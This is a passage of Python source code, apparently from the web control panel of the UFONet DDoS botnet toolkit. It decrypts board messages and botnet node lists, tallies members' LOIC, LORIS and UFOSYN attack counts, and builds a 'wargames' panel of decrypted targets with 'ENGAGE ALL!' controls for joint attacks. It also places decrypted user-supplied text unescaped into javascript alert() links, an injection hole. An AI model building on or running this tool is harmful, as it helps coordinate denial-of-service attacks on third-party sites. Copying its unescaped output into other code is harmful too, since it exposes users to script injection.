  3267. board_trans = "[Mothership/Info] Congratulations. The message has been sent successfully...\n"
  3268. except:
  3269. board_trans = "[Mothership/Error] Something wrong sending your message to the board. Try it again...\n"
  3270. except:
  3271. board_trans = "[Mothership/Error] Something wrong sending your message to the board. Try it again...\n"
  3272. f = open("/tmp/out", "w")
  3273. f.write(board_trans)
  3274. f.write(end_mark)
  3275. f.close()
  3276. if page == "/cmd_send_message_board_update":
  3277. if not os.path.exists('/tmp/out'):
  3278. open('/tmp/out', 'w').close()
  3279. with open('/tmp/out', 'r') as f:
  3280. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  3281. if page == "/cmd_decrypt":
  3282. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  3283. try:
  3284. news_key = pGet["news_key"]
  3285. except:
  3286. news_key = ""
  3287. try:
  3288. missions_key = pGet["missions_key"]
  3289. except:
  3290. missions_key = ""
  3291. end_mark = "\n[Mothership/Info] End of decryption."
  3292. if news_key is not "": # news decryption
  3293. self.decrypted_news = []
  3294. nodec_text = "*** [This message cannot be solved with that key...]"
  3295. news_key = pGet["news_key"]
  3296. for news_text in self.list_news:
  3297. self.decrypt(news_key, news_text)
  3298. if self.decryptedtext:
  3299. self.decrypted_news.append(self.decryptedtext)
  3300. else:
  3301. self.decrypted_news.append(nodec_text)
  3302. self.decryptedtext = "" # clean decryptedtext buffer
  3303. f = open("/tmp/out", "w")
  3304. num_news = 0 # news counter
  3305. for m in self.decrypted_news:
  3306. num_news = num_news + 1
  3307. f.write("["+str(num_news)+"] " + str(m)+"\n")
  3308. f.write(end_mark)
  3309. f.close()
  3310. else:
  3311. if missions_key is not "": # missions decryption
  3312. self.decrypted_missions = []
  3313. nodec_text = "*** [This message cannot be solved with that key...]"
  3314. missions_key = pGet["missions_key"]
  3315. for missions_text in self.list_missions:
  3316. self.decrypt(missions_key, missions_text)
  3317. if self.decryptedtext:
  3318. self.decrypted_missions.append(self.decryptedtext)
  3319. else:
  3320. self.decrypted_missions.append(nodec_text)
  3321. self.decryptedtext = "" # clean decryptedtext buffer
  3322. f = open("/tmp/out", "w")
  3323. num_mission = 0 # missions counter
  3324. for m in self.decrypted_missions:
  3325. num_mission = num_mission + 1
  3326. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  3327. f.write(end_mark)
  3328. f.close()
  3329. else: # blackholes (nodes.dat) decryption + data showing
  3330. self.decrypted_blackholes = []
  3331. nodec_text = "*** [This message cannot be solved with that key...]"
  3332. blackhole_key = pGet["blackhole_key"]
  3333. for blackholes_text in self.list_blackholes:
  3334. self.decrypt(blackhole_key, blackholes_text)
  3335. if self.decryptedtext:
  3336. self.decrypted_blackholes.append(self.decryptedtext)
  3337. else:
  3338. self.decrypted_blackholes.append(nodec_text)
  3339. self.decryptedtext = "" # clean decryptedtext buffer
  3340. f = open("/tmp/out", "w")
  3341. num_blackholes = 0 # blackholes counter
  3342. for b in self.decrypted_blackholes:
  3343. num_blackholes = num_blackholes + 1
  3344. if blackhole_sep in b: # IP | Mode | Comment | Actions
  3345. s = b.rsplit(blackhole_sep, 1)[0]
  3346. ip = str(s.rsplit(blackhole_sep, 1)[0])
  3347. mode = str(s.rsplit(blackhole_sep, 1)[1])
  3348. if mode == "D": # Download only mode
  3349. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  3350. elif mode == "U": # Upload only mode
  3351. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  3352. else: # Upload/Download mode
  3353. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  3354. comment = str(b.rsplit(blackhole_sep, 1)[1])
  3355. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  3356. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  3357. else:
  3358. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  3359. f.write(end_mark)
  3360. f.close()
  3361. if page == "/cmd_decrypt_update":
  3362. if not os.path.exists('/tmp/out'):
  3363. open('/tmp/out', 'w').close()
  3364. with open('/tmp/out', 'r') as f:
  3365. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  3366. if page == "/news":
  3367. self.pages["/news"] = self.html_news()
  3368. if page == "/missions":
  3369. self.pages["/missions"] = self.html_missions()
  3370. if page == "/board":
  3371. self.pages["/board"] = self.html_board()
  3372. if page == "/grid":
  3373. self.pages["/grid"] = self.html_grid()
  3374. if page == "/wargames":
  3375. self.pages["/wargames"] = self.html_wargames()
  3376. if page == "/grid_profile":
  3377. if pGet=={}:
  3378. self.pages["/grid_profile"] = self.html_grid_profile()
  3379. else:
  3380. self.save_grid(pGet)
  3381. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  3382. if page == "/board_profile":
  3383. if pGet =={}:
  3384. self.pages["/board_profile"] = self.html_board_profile()
  3385. else:
  3386. self.save_profile(pGet)
  3387. self.pages["/board_profile"] = self.html_board_profile_submit()
  3388. if page == "/board_remove":
  3389. self.pages["/board_remove"] = self.html_board_remove()
  3390. if page == "/grid_remove":
  3391. self.pages["/grid_remove"] = self.html_grid_remove()
  3392. if page == "/cmd_decrypt_moderator_board":
  3393. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  3394. try:
  3395. board_key = pGet["board_key"]
  3396. except:
  3397. board_key = ""
  3398. try:
  3399. filter = pGet["filter"]
  3400. except:
  3401. filter = ""
  3402. end_mark = "\n[Mothership/Info] End of decryption."
  3403. if board_key is not "": # board decryption
  3404. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  3405. f = open("/tmp/out", "w")
  3406. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  3407. f.write(str(b)+"\n")
  3408. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  3409. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  3410. if board_msg_sep in m:
  3411. m = m.split(board_msg_sep)
  3412. topic = m[0] # topic
  3413. t = m[1] # icon
  3414. n = m[2] # nick
  3415. g = m[3] # id
  3416. l = m[4] # comment
  3417. if topic == "1":
  3418. topic = "/GENERAL"
  3419. elif topic == "2":
  3420. topic = "/#OPSEC "
  3421. elif topic == "3":
  3422. topic = "/FAQ "
  3423. elif topic == "4":
  3424. topic = "/BUGS "
  3425. elif topic == "5":
  3426. topic = "/MEDIA "
  3427. else:
  3428. topic = "/BUGS[!]"
  3429. icon = "<img src='/images/crew/link"+str(t)+".png'>"
  3430. nick = str(n)
  3431. self.decrypt(board_key, nick)
  3432. if self.decryptedtext:
  3433. nick = self.decryptedtext
  3434. else:
  3435. nick = 'Anonymous' # We are legion!
  3436. self.decryptedtext = "" # clean decryptedtext buffer
  3437. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  3438. msg = str(l)
  3439. self.decrypt(board_key, msg)
  3440. if self.decryptedtext:
  3441. msg = self.decryptedtext
  3442. else:
  3443. msg = nodec_text
  3444. self.decryptedtext = "" # clean decryptedtext buffer
  3445. if filter in topic or filter == "ALL": # filter content by user selection
  3446. b = "<tr valign=top><td align=center>" + icon + "<br>"+nick+"</td><td>"
  3447. b += "<font size=+2>"+topic+"</font>"
  3448. b += "<br>by "+nick+"<br><br>"
  3449. b += str(msg) + "</td></tr>"
  3450. f.write(str(b)+"\n")
  3451. else:
  3452. pass
  3453. else: # not valid stream data
  3454. pass
  3455. b="</table>"
  3456. f.write(str(b)+"\n")
  3457. f.write(end_mark)
  3458. f.close()
  3459. if page == "/cmd_decrypt_moderator_board_update":
  3460. if not os.path.exists('/tmp/out'):
  3461. open('/tmp/out', 'w').close()
  3462. with open('/tmp/out', 'r') as f:
  3463. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  3464. if page == "/cmd_decrypt_grid":
  3465. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  3466. try:
  3467. grid_key = pGet["grid_key"]
  3468. except:
  3469. grid_key = ""
  3470. end_mark = "[Mothership/Info] End of decryption."
  3471. if grid_key is not "": # grid decryption
  3472. # Mothership stats counters
  3473. mothership_members = 0
  3474. member_1 = 0 # Rookie
  3475. member_2 = 0 # Mercenary
  3476. member_3 = 0 # Bandit
  3477. member_4 = 0 # UFOmmander!
  3478. mothership_missions = 0
  3479. mothership_transferred = 0
  3480. mothership_attacks = 0
  3481. mothership_loic = 0
  3482. mothership_loris = 0
  3483. mothership_ufosyn = 0
  3484. mothership_chargo = 0
  3485. mothership_dorking = 0
  3486. mothership_maxchargo = 0
  3487. nodec_text = "KEY?"
  3488. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICKNAME:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANKING:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  3489. grid_key = pGet["grid_key"]
  3490. f = open("/tmp/out", "w")
  3491. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  3492. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, contact, ID
  3493. if grid_msg_sep in m:
  3494. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1)
  3495. m = m.split(grid_msg_sep)
  3496. grid_nickname = m[0] # nickname
  3497. self.decrypt(grid_key, grid_nickname)
  3498. if self.decryptedtext:
  3499. grid_nickname = self.decryptedtext
  3500. else:
  3501. grid_nickname = nodec_text
  3502. self.decryptedtext = "" # clean decryptedtext buffer
  3503. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  3504. grid_nickname = "Anonymous"
  3505. else:
  3506. grid_nickname = str(grid_nickname) # nickname
  3507. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  3508. grid_ranking = m[1] # ranking
  3509. self.decrypt(grid_key, grid_ranking)
  3510. if self.decryptedtext:
  3511. try:
  3512. grid_ranking = int(self.decryptedtext)
  3513. except:
  3514. grid_ranking = nodec_text
  3515. else:
  3516. grid_ranking = nodec_text
  3517. self.decryptedtext = "" # clean decryptedtext buffer
  3518. if grid_ranking == 1: #Rookie
  3519. grid_ranking = "<font color='white' size='4'>*</font>"
  3520. member_1 = member_1 + 1
  3521. elif grid_ranking == 2: # Mercenary
  3522. grid_ranking = "<font color='cyan' size='4'>**</font>"
  3523. member_2 = member_2 + 1
  3524. elif grid_ranking == 3: # Bandit
  3525. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  3526. member_3 = member_3 + 1
  3527. elif grid_ranking == 4: # UFOmmander!
  3528. grid_ranking = "<font color='blue' size='4'>****</font>"
  3529. member_4 = member_4 + 1
  3530. else:
  3531. grid_ranking = nodec_text
  3532. grid_totalchargo = m[2] # total chargo
  3533. self.decrypt(grid_key, grid_totalchargo)
  3534. if self.decryptedtext:
  3535. grid_totalchargo = self.decryptedtext
  3536. else:
  3537. grid_totalchargo = nodec_text
  3538. self.decryptedtext = "" # clean decryptedtext buffer
  3539. try: # parse for int
  3540. grid_totalchargo = int(grid_totalchargo)
  3541. mothership_chargo = mothership_chargo + grid_totalchargo
  3542. except:
  3543. grid_totalchargo = nodec_text
  3544. grid_dorking = m[3] # dorking
  3545. self.decrypt(grid_key, grid_dorking)
  3546. if self.decryptedtext:
  3547. grid_dorking = self.decryptedtext
  3548. else:
  3549. grid_dorking = nodec_text
  3550. self.decryptedtext = "" # clean decryptedtext buffer
  3551. try: # parse for int
  3552. grid_dorking = int(grid_dorking)
  3553. mothership_dorking = mothership_dorking + grid_dorking
  3554. except:
  3555. grid_dorking = nodec_text
  3556. grid_transferred = m[4] # transferred
  3557. self.decrypt(grid_key, grid_transferred)
  3558. if self.decryptedtext:
  3559. grid_transferred = self.decryptedtext
  3560. else:
  3561. grid_transferred = nodec_text
  3562. self.decryptedtext = "" # clean decryptedtext buffer
  3563. try: # parse for int
  3564. grid_transferred = int(grid_transferred)
  3565. mothership_transferred = mothership_transferred + grid_transferred
  3566. except:
  3567. grid_transferred = nodec_text
  3568. grid_maxchargo = m[5] # maxchargo
  3569. self.decrypt(grid_key, grid_maxchargo)
  3570. if self.decryptedtext:
  3571. grid_maxchargo = self.decryptedtext
  3572. else:
  3573. grid_maxchargo = nodec_text
  3574. self.decryptedtext = "" # clean decryptedtext buffer
  3575. try: # parse for int
  3576. grid_maxchargo = int(grid_maxchargo)
  3577. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  3578. except:
  3579. grid_maxchargo = nodec_text
  3580. grid_missions = m[6] # missions
  3581. self.decrypt(grid_key, grid_missions)
  3582. if self.decryptedtext:
  3583. grid_missions = self.decryptedtext
  3584. else:
  3585. grid_missions = nodec_text
  3586. self.decryptedtext = "" # clean decryptedtext buffer
  3587. try: # parse for int
  3588. grid_missions = int(grid_missions)
  3589. mothership_missions = mothership_missions + grid_missions
  3590. except:
  3591. grid_missions = nodec_text
  3592. grid_attacks = m[7] # attacks
  3593. self.decrypt(grid_key, grid_attacks)
  3594. if self.decryptedtext:
  3595. grid_attacks = self.decryptedtext
  3596. else:
  3597. grid_attacks = nodec_text
  3598. self.decryptedtext = "" # clean decryptedtext buffer
  3599. try: # parse for int
  3600. grid_attacks = int(grid_attacks)
  3601. mothership_attacks = mothership_attacks + grid_attacks
  3602. except:
  3603. grid_attacks = nodec_text
  3604. grid_loic = m[8] # loic
  3605. self.decrypt(grid_key, grid_loic)
  3606. if self.decryptedtext:
  3607. grid_loic = self.decryptedtext
  3608. else:
  3609. grid_loic = nodec_text
  3610. self.decryptedtext = "" # clean decryptedtext buffer
  3611. try: # parse for int
  3612. grid_loic = int(grid_loic)
  3613. mothership_loic = mothership_loic + grid_loic
  3614. except:
  3615. grid_loic = nodec_text
  3616. if version == 12: # v1.1
  3617. grid_loris = m[9] # loris
  3618. self.decrypt(grid_key, grid_loris)
  3619. if self.decryptedtext:
  3620. grid_loris = self.decryptedtext
  3621. else:
  3622. grid_loris = nodec_text
  3623. self.decryptedtext = "" # clean decryptedtext buffer
  3624. try: # parse for int
  3625. grid_loris = int(grid_loris)
  3626. mothership_loris = mothership_loris + grid_loris
  3627. except:
  3628. grid_loris = nodec_text
  3629. grid_ufosyn = m[10] # ufosyn
  3630. self.decrypt(grid_key, grid_ufosyn)
  3631. if self.decryptedtext:
  3632. grid_ufosyn = self.decryptedtext
  3633. else:
  3634. grid_ufosyn = nodec_text
  3635. self.decryptedtext = "" # clean decryptedtext buffer
  3636. try: # parse for int
  3637. grid_ufosyn = int(grid_ufosyn)
  3638. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  3639. except:
  3640. grid_ufosyn = nodec_text
  3641. try: # decrypt + parse contact len + correct js view (without blank spaces)
  3642. grid_contact = m[11] # contact
  3643. self.decrypt(grid_key, grid_contact)
  3644. if self.decryptedtext:
  3645. grid_contact = self.decryptedtext
  3646. else:
  3647. grid_contact = nodec_text
  3648. self.decryptedtext = "" # clean decryptedtext buffer
  3649. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  3650. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  3651. else:
  3652. try:
  3653. if " " in grid_contact: # m[11] = grid_contact
  3654. grid_contact = grid_contact.replace(" ","")
  3655. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  3656. except:
  3657. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  3658. except:
  3659. pass
  3660. try:
  3661. grid_id = m[12] # id
  3662. except:
  3663. pass
  3664. elif version == 11: # v1.0
  3665. grid_loris = m[9] # loris
  3666. self.decrypt(grid_key, grid_loris)
  3667. if self.decryptedtext:
  3668. grid_loris = self.decryptedtext
  3669. else:
  3670. grid_loris = nodec_text
  3671. self.decryptedtext = "" # clean decryptedtext buffer
  3672. try: # parse for int
  3673. grid_loris = int(grid_loris)
  3674. mothership_loris = mothership_loris + grid_loris
  3675. except:
  3676. grid_loris = nodec_text
  3677. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3678. self.decrypt(grid_key, grid_ufosyn)
  3679. if self.decryptedtext:
  3680. grid_ufosyn = self.decryptedtext
  3681. else:
  3682. grid_ufosyn = nodec_text
  3683. self.decryptedtext = "" # clean decryptedtext buffer
  3684. try: # parse for int
  3685. grid_ufosyn = int(grid_ufosyn)
  3686. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  3687. except:
  3688. grid_ufosyn = nodec_text
  3689. try: # decrypt + parse contact len + correct js view (without blank spaces)
  3690. grid_contact = m[10] # contact
  3691. self.decrypt(grid_key, grid_contact)
  3692. if self.decryptedtext:
  3693. grid_contact = self.decryptedtext
  3694. else:
  3695. grid_contact = nodec_text
  3696. self.decryptedtext = "" # clean decryptedtext buffer
  3697. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  3698. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  3699. else:
  3700. try:
  3701. if " " in grid_contact: # m[10] = grid_contact
  3702. grid_contact = grid_contact.replace(" ","")
  3703. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  3704. except:
  3705. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  3706. except:
  3707. pass
  3708. try:
  3709. grid_id = m[11] # id
  3710. except:
  3711. pass
  3712. elif version == 10: # v0.9
  3713. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  3714. self.decrypt(grid_key, grid_loris)
  3715. if self.decryptedtext:
  3716. grid_loris = self.decryptedtext
  3717. else:
  3718. grid_loris = nodec_text
  3719. self.decryptedtext = "" # clean decryptedtext buffer
  3720. try: # parse for int
  3721. grid_loris = int(grid_loris)
  3722. mothership_loris = mothership_loris + grid_loris
  3723. except:
  3724. grid_loris = nodec_text
  3725. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3726. self.decrypt(grid_key, grid_ufosyn)
  3727. if self.decryptedtext:
  3728. grid_ufosyn = self.decryptedtext
  3729. else:
  3730. grid_ufosyn = nodec_text
  3731. self.decryptedtext = "" # clean decryptedtext buffer
  3732. try: # parse for int
  3733. grid_ufosyn = int(grid_ufosyn)
  3734. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  3735. except:
  3736. grid_ufosyn = nodec_text
  3737. try: # decrypt + parse contact len + correct js view (without blank spaces)
  3738. grid_contact = m[9] # contact
  3739. self.decrypt(grid_key, grid_contact)
  3740. if self.decryptedtext:
  3741. grid_contact = self.decryptedtext
  3742. else:
  3743. grid_contact = nodec_text
  3744. self.decryptedtext = "" # clean decryptedtext buffer
  3745. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  3746. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  3747. else:
  3748. try:
  3749. if " " in grid_contact: # m[9] = grid_contact
  3750. grid_contact = grid_contact.replace(" ","")
  3751. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  3752. except:
  3753. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  3754. except:
  3755. pass
  3756. try:
  3757. grid_id = m[10] # id
  3758. except:
  3759. pass
  3760. else: # no valid version
  3761. pass
  3762. try: # parsing for valid stream struct
  3763. grid_nickname = str(grid_nickname)
  3764. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  3765. except:
  3766. grid_table += "<tr><td align='center'>INVALID!</td><td align='center'>INVALID!</td><td align='center'>INVALID!</td><td align='center'>INVALID!</td><td align='center'>INVALID!</td><td align='center'>INVALID!</td><td align='center'>INVALID!</td><td align='center'>INVALID!</td><td align='center'>INVALID!</td><td align='center'>INVALID!</td><td align='center'>INVALID!</td><td align='center'>INVALID!</td></tr>"
  3767. grid_table += "</table><br>"
  3768. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  3769. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MEMBERS:</td><td align='right'>"+str(mothership_members)+"</td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td></tr><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td></tr><tr><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><hr><br>"
  3770. f.write(mother_table)
  3771. f.write(grid_table)
  3772. f.write(end_mark)
  3773. f.close()
  3774. else: # not valid stream data
  3775. pass
  3776. if page == "/cmd_decrypt_grid_update":
  3777. if not os.path.exists('/tmp/out'):
  3778. open('/tmp/out', 'w').close()
  3779. with open('/tmp/out', 'r') as f:
  3780. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  3781. if page == "/cmd_decrypt_wargames":
  3782. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  3783. wargames_join_flag = False # anti-join flag for non decrypted wargames
  3784. try:
  3785. wargames_deckey = pGet["wargames_deckey"]
  3786. except:
  3787. wargames_deckey = ""
  3788. end_mark = "[Mothership/Info] End of decryption."
  3789. if wargames_deckey is not "": # wargames decryption
  3790. nodec_text = "KEY?"
  3791. try: # read global army supply from configuration file (json)
  3792. with open(self.mothership_supplycfg_file) as data_file:
  3793. data = json.load(data_file)
  3794. except:
  3795. if os.path.exists(self.mothership_supplycfg_file) == True:
  3796. print '[Error] - Cannot open: "core/json/supplycfg.json"...\n'
  3797. sys.exit(2)
  3798. else: # generate default global army supply configuration file
  3799. print '[Info] - Cannot found: "core/json/supplycfg.json". Generating...\n'
  3800. with open(self.mothership_supplycfg_file, "w") as f:
  3801. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0}, f, indent=4)
  3802. with open(self.mothership_supplycfg_file) as data_file:
  3803. data = json.load(data_file)
  3804. self.supply_botnet = data["botnet"]
  3805. self.supply_loic = data["loic"]
  3806. self.supply_loris = data["loris"]
  3807. self.supply_ufosyn = data["ufosyn"]
  3808. f = open(self.wargames_file,"r")
  3809. ls = f.readlines()
  3810. f.close()
  3811. if ls:
  3812. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  3813. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td></tr><tr><td align='center'><input type='number' min='1' max='20' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  3814. else:
  3815. wargames_autopanel = ""
  3816. wargames_supply = ""
  3817. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  3818. f = open("/tmp/out", "w")
  3819. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  3820. wargames_id = 1
  3821. for m in self.list_wargames_rev: # list = creation, target, estimated
  3822. if wargames_msg_sep in m:
  3823. m = m.split(wargames_msg_sep)
  3824. wargames_creation = m[0] # creation date
  3825. self.decrypt(wargames_deckey, wargames_creation)
  3826. if self.decryptedtext:
  3827. wargames_creation = self.decryptedtext
  3828. else:
  3829. wargames_creation = nodec_text
  3830. self.decryptedtext = "" # clean decryptedtext buffer
  3831. wargames_target = m[1] # target
  3832. wargames_target_joined = wargames_target
  3833. self.decrypt(wargames_deckey, wargames_target)
  3834. if self.decryptedtext:
  3835. wargames_target = self.decryptedtext
  3836. if wargames_target.startswith("www."):
  3837. wargames_target = wargames_target.replace("www.","")
  3838. else:
  3839. wargames_target = nodec_text
  3840. self.decryptedtext = "" # clean decryptedtext buffer
  3841. wargames_estimated = m[2] # estimated time
  3842. self.decrypt(wargames_deckey, wargames_estimated)
  3843. if self.decryptedtext:
  3844. wargames_estimated = self.decryptedtext
  3845. wargames_join_flag = True
  3846. else:
  3847. wargames_estimated = nodec_text
  3848. self.decryptedtext = "" # clean decryptedtext buffer
  3849. else:
  3850. wargames_target = "KEY?"
  3851. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  3852. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  3853. try:
  3854. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  3855. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  3856. except: # discarding errors also on panel
  3857. wargames_creation = now
  3858. wargames_estimated = now
  3859. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  3860. wargames_creation = now
  3861. wargames_estimated = now
  3862. if (now >= wargames_estimated) == False: # change flag color when time is out
  3863. time_now = time.mktime(now)
  3864. time_estimated = time.mktime(wargames_estimated)
  3865. wargames_eta = (time_estimated - time_now)
